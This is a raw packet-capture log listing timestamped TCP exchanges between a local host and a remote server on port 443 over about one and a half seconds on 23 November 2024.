Nov 23, 2024 13:37:55.490392923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.490408897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.490487099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.490504980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.496562958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.496584892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.496694088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.496716022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.502193928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.502208948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.502289057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.502305984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.502331972 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.507460117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.507479906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.507565022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.507585049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.513616085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.513631105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.513720036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.513739109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.564244986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.630409002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.664334059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.664350033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.664381027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.664417028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.664417982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.664460897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.664474964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.664525986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.666677952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.666703939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.666768074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.666780949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.666805983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.666831017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.668509007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.668529987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.668577909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.668590069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.668618917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.668637991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.670834064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.670852900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.670900106 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.670917988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.670939922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.670962095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.673309088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.673331976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.673409939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.673423052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.673471928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.675182104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.675203085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.675257921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.675270081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.675298929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.675338984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.677536964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.677558899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.677611113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.677623987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.677659988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.677679062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.679984093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.680002928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.680072069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.680087090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.680131912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.856672049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.856694937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.856770992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.856851101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.856887102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.856909990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.858222961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.858237982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.858299017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.858314037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.858376026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.860557079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.860572100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.860631943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.860646009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.860701084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.863014936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.863032103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.863094091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.863109112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.863136053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.863163948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.864830017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.864845991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.864898920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.864912033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.864943027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.864962101 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.867177963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.867192984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.867242098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.867254972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.867306948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.867306948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.869654894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.869676113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.869734049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.869748116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.869776964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.869796038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.871539116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.871567965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.871607065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.871620893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:55.871655941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:55.871675014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.048368931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.048393011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.048441887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.048468113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.048497915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.048557043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.050491095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.050506115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.050566912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.050580025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.050611019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.050635099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.052740097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.052757978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.052823067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.052840948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.052869081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.052886009 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.054759026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.054774046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.054827929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.054841995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.054892063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.057022095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.057039022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.057096004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.057107925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.057135105 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.057152987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.059385061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.059402943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.059442997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.059457064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.059485912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.059500933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.061284065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.061300039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.061345100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.061359882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.061387062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.061408997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.063527107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.063626051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.063940048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.064006090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.125551939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.240482092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.240506887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.240578890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.240578890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.240629911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.240679026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.242701054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.242721081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.242779016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.242793083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.242822886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.242841005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.244965076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.244986057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.245059967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.245075941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.245099068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.245121002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.245132923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.245178938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.247337103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.247356892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.247394085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.247407913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.247435093 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.248039961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.248094082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.248107910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.248162985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.249798059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.249814034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.249871016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.249885082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.249933004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.252196074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.252212048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.252281904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.252295971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.252348900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.252949953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.253019094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.253160000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.253211021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.253890991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.253951073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.255665064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.255709887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.255744934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.255762100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.255789042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.255808115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.256364107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.256401062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.256429911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.256448984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.256479979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.256498098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.432636023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.432694912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.432729006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.432749033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.432777882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.434889078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.434906006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.434950113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.434968948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.434992075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.435691118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.435751915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.435766935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.436464071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.436530113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.436542988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.436621904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.438307047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.438322067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.438390970 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.438402891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.438484907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.440685034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.440700054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.440753937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.440766096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.440888882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.443152905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.443171024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.443233967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.443248034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.443310022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.444956064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.444971085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.445030928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.445044041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.445112944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.447303057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.447323084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.447357893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.447371006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.447396994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.447418928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.624300957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.624325037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.624422073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.624494076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.624558926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.626271009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.626291990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.626373053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.626389027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.626434088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.626452923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.628416061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.628431082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.628504038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.628518105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.628673077 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.630203009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.630218029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.630287886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.630302906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.630446911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.632569075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.632586956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.632648945 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.632662058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.632771015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.635047913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.635067940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.635107040 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.635119915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.635149002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.635165930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.636815071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.636836052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.636910915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.636924982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.636985064 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.639434099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.639448881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.639511108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.639529943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.639561892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.639580965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.674493074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.816061020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.816087961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.816221952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.816253901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.816378117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.818150043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.818167925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.818222046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.818231106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.818273067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.820413113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.820429087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.820497990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.820509911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.820732117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.822124958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.822140932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.822191000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.822201014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.822278976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.824604034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.824619055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.824677944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.824687958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.824837923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.827018976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.827033997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.827085972 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.827100992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.827172041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.828736067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.828752995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.828809977 CET	49704	443	192.168.2.5	172.66.0.235
